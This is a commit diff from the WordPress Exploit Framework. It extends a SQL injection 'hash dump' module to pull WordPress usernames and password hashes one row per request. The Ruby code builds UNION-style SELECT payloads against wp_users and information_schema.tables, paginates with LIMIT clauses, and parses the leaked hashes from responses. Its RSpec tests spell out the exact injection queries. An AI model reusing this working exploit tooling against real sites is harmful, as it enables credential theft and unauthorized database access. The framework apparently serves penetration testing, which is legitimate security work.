Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit cb9367a

Browse files
committed
Add #reveals_one_row_per_request to support more SQLi vectors
1 parent cf13c33 commit cb9367a

File tree

2 files changed

+107
-21
lines changed

2 files changed

+107
-21
lines changed

lib/wpxf/wordpress/hash_dump.rb

Lines changed: 55 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -24,18 +24,31 @@ def export_path
2424
File.expand_path normalized_option_value('export_path')
2525
end
2626

27+
# @return [Boolean] returns true if only one row of the SQL query will be displayed per request.
28+
def reveals_one_row_per_request
29+
false
30+
end
31+
2732
# @return [String] a unique SQL select statement that can be used to extract the hashes.
2833
def hashdump_sql_statement
2934
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
3035
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{eof_token})"
31-
"select #{cols.join(',')} from #{table_prefix}users"
36+
37+
query = "select #{cols.join(',')} from #{table_prefix}users"
38+
return query unless reveals_one_row_per_request
39+
40+
"#{query} limit #{current_row},1"
3241
end
3342

3443
# @return [String] a unique SEL select statement that can be used to fingerprint the database prefix.
3544
def hashdump_prefix_fingerprint_statement
3645
cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
3746
cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,table_name,0x3a,#{eof_token})"
38-
"select #{cols.join(',')} from information_schema.tables where table_schema = database()"
47+
48+
query = "select #{cols.join(',')} from information_schema.tables where table_schema = database()"
49+
return query unless reveals_one_row_per_request
50+
51+
"#{query} limit #{current_row},1"
3952
end
4053

4154
# @return [Integer] the zero-based index of the column which is visible in the response output.
@@ -80,10 +93,12 @@ def run
8093

8194
generate_id_tokens
8295

96+
@current_row = 0
8397
emit_info 'Determining database prefix...'
8498
return false unless determine_prefix
8599
emit_success "Found prefix: #{table_prefix}", true
86100

101+
@current_row = 0
87102
emit_info 'Dumping user hashes...'
88103
hashes = dump_and_parse_hashes
89104
output_hashdump_table(hashes)
@@ -102,7 +117,11 @@ def eof_token
102117
@eof_token
103118
end
104119

105-
def dump_and_parse_hashes
120+
def current_row
121+
@current_row
122+
end
123+
124+
def execute_hashdump_request
106125
res = execute_request(
107126
method: hashdump_request_method,
108127
url: vulnerable_url,
@@ -112,7 +131,28 @@ def dump_and_parse_hashes
112131
)
113132

114133
return false unless res&.code == 200
115-
parse_hashdump_body(res.body)
134+
res
135+
end
136+
137+
def dump_and_parse_hashes
138+
unless reveals_one_row_per_request
139+
res = execute_hashdump_request
140+
return parse_hashdump_body(res.body)
141+
end
142+
143+
eof = false
144+
hashes = []
145+
146+
until eof
147+
res = execute_hashdump_request
148+
break unless res.body.match?(/#{bof_token}\:(.+?)\:#{eof_token}/)
149+
150+
hash = parse_hashdump_body(res.body)
151+
hashes.push([hash[0][0], hash[0][1]]) if hash
152+
@current_row += 1
153+
end
154+
155+
hashes
116156
end
117157

118158
def build_prefix_request_body
@@ -153,7 +193,18 @@ def determine_prefix
153193
)
154194

155195
return nil unless res&.code == 200
196+
197+
# If the prefix is found, regardless of the row mode, return it.
156198
@table_prefix = res.body[/#{bof_token}\:([^,]+?)usermeta\:#{eof_token}/, 1]
199+
return @table_prefix if @table_prefix
200+
return nil unless reveals_one_row_per_request
201+
202+
# If the bof and eof tokens weren't found at all, there are no more rows available.
203+
return nil unless res.body.match?(/#{bof_token}\:(.+?)\:#{eof_token}/)
204+
205+
# If the tokens were found, then we can try to query another row.
206+
@current_row += 1
207+
determine_prefix
157208
end
158209

159210
def output_hashdump_table(hashes)

spec/wordpress/hash_dump_spec.rb

Lines changed: 52 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -23,27 +23,62 @@
2323
end
2424

2525
describe '#hashdump_sql_statement' do
26-
it 'returns a select statement that will select all user hashes' do
27-
allow(subject).to receive(:hashdump_number_of_cols).and_return(3)
28-
allow(subject).to receive(:hashdump_visible_field_index).and_return(1)
29-
allow(subject).to receive(:table_prefix).and_return('wp_')
30-
allow(subject).to receive(:bof_token).and_return(123)
31-
allow(subject).to receive(:eof_token).and_return(321)
32-
33-
expected_query = 'select 0,concat(123,0x3a,user_login,0x3a,user_pass,0x3a,321),0 from wp_users'
34-
expect(subject.hashdump_sql_statement).to eq expected_query
26+
context 'when #reveals_one_row_per_request is false' do
27+
it 'returns a select statement that will select all user hashes with no limit clause' do
28+
allow(subject).to receive(:reveals_one_row_per_request).and_return(false)
29+
allow(subject).to receive(:hashdump_number_of_cols).and_return(3)
30+
allow(subject).to receive(:hashdump_visible_field_index).and_return(1)
31+
allow(subject).to receive(:table_prefix).and_return('wp_')
32+
allow(subject).to receive(:bof_token).and_return(123)
33+
allow(subject).to receive(:eof_token).and_return(321)
34+
35+
expected_query = 'select 0,concat(123,0x3a,user_login,0x3a,user_pass,0x3a,321),0 from wp_users'
36+
expect(subject.hashdump_sql_statement).to eq expected_query
37+
end
38+
end
39+
40+
context 'when #reveals_one_row_per_request is true' do
41+
it 'returns a select statement that will select all user hashes with a limit clause' do
42+
allow(subject).to receive(:reveals_one_row_per_request).and_return(true)
43+
allow(subject).to receive(:hashdump_number_of_cols).and_return(3)
44+
allow(subject).to receive(:hashdump_visible_field_index).and_return(1)
45+
allow(subject).to receive(:table_prefix).and_return('wp_')
46+
allow(subject).to receive(:bof_token).and_return(123)
47+
allow(subject).to receive(:eof_token).and_return(321)
48+
allow(subject).to receive(:current_row).and_return(3)
49+
50+
expected_query = 'select 0,concat(123,0x3a,user_login,0x3a,user_pass,0x3a,321),0 from wp_users limit 3,1'
51+
expect(subject.hashdump_sql_statement).to eq expected_query
52+
end
3553
end
3654
end
3755

3856
describe '#hashdump_prefix_fingerprint_statement' do
39-
it 'returns a select statement that will select all table names in the current database' do
40-
allow(subject).to receive(:hashdump_number_of_cols).and_return(3)
41-
allow(subject).to receive(:hashdump_visible_field_index).and_return(1)
42-
allow(subject).to receive(:bof_token).and_return(123)
43-
allow(subject).to receive(:eof_token).and_return(321)
44-
45-
expected_query = 'select 0,concat(123,0x3a,table_name,0x3a,321),0 from information_schema.tables where table_schema = database()'
46-
expect(subject.hashdump_prefix_fingerprint_statement).to eq expected_query
57+
context 'when #reveals_one_row_per_request is false' do
58+
it 'returns a select statement that will select all table names in the current database' do
59+
allow(subject).to receive(:reveals_one_row_per_request).and_return(false)
60+
allow(subject).to receive(:hashdump_number_of_cols).and_return(3)
61+
allow(subject).to receive(:hashdump_visible_field_index).and_return(1)
62+
allow(subject).to receive(:bof_token).and_return(123)
63+
allow(subject).to receive(:eof_token).and_return(321)
64+
65+
expected_query = 'select 0,concat(123,0x3a,table_name,0x3a,321),0 from information_schema.tables where table_schema = database()'
66+
expect(subject.hashdump_prefix_fingerprint_statement).to eq expected_query
67+
end
68+
end
69+
70+
context 'when #reveals_one_row_per_request is true' do
71+
it 'returns a select statement that will select all table names in the current database with a limit clause' do
72+
allow(subject).to receive(:reveals_one_row_per_request).and_return(true)
73+
allow(subject).to receive(:hashdump_number_of_cols).and_return(3)
74+
allow(subject).to receive(:hashdump_visible_field_index).and_return(1)
75+
allow(subject).to receive(:bof_token).and_return(123)
76+
allow(subject).to receive(:eof_token).and_return(321)
77+
allow(subject).to receive(:current_row).and_return(3)
78+
79+
expected_query = 'select 0,concat(123,0x3a,table_name,0x3a,321),0 from information_schema.tables where table_schema = database() limit 3,1'
80+
expect(subject.hashdump_prefix_fingerprint_statement).to eq expected_query
81+
end
4782
end
4883
end
4984
end

0 commit comments

Comments
 (0)